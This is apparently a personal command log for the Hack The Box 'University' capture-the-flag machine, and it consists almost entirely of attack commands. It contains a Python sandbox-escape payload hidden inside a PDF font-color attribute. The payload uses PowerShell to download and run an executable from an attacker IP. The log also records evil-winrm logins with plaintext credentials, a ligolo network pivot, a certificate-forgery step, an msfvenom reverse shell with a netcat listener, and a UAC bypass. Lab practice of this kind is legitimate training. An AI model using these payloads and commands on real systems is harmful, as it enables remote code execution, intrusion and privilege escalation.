HTB靶场University [Insane]

nmap -sV -sC -O -oN nmap.txt 10.10.11.39

openssl req -newkey rsa:2048 -keyout PK.key -out My-CSR.csr    

<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('powershell Invoke-WebRequest -Uri http://10.10.16.16/nameme.exe -OutFile ./nameme.exe') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">exploit</font></para>

<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('powershell Start-Process ./nameme.exe') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">exploit</font></para>

evil-winrm -u 'WAO' -p 'WebAO1337' -i 10.10.11.39

sudo ./proxy  -selfcert -laddr 0.0.0.0:443

upload agent.exe./agent.exe -connect 10.10.16.16:443 -ignore-cert

# kali其他终端sudo ip tuntap add user kali mode tun ligolosudo ip link set ligolo up    sudo ip route add 192.168.99.0/24 dev ligolo# ligolo终端session1start

evil-winrm -u 'WAO' -p 'WebAO1337' -i 192.168.99.2    

openssl req -newkey rsa:2048 -keyout George_PK.key -out George_CSR.csropenssl x509 -req -in George_CSR.csr -CA rootCA.crt -CAkey rootCA.key -CAcreateserial -out george.pem -days 365    

msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.99.12 LPORT=4448 -f exe > shell4448.exe    

nc -lnvp 4448

gpg --export -a "george" > george.ascgpg -u george --detach-sign shell.zip  

./RunasCs.exe --bypass-uac -l 5 WAO WebAO1337 nameme.exe

cat /users/administrator/desktop/root.txt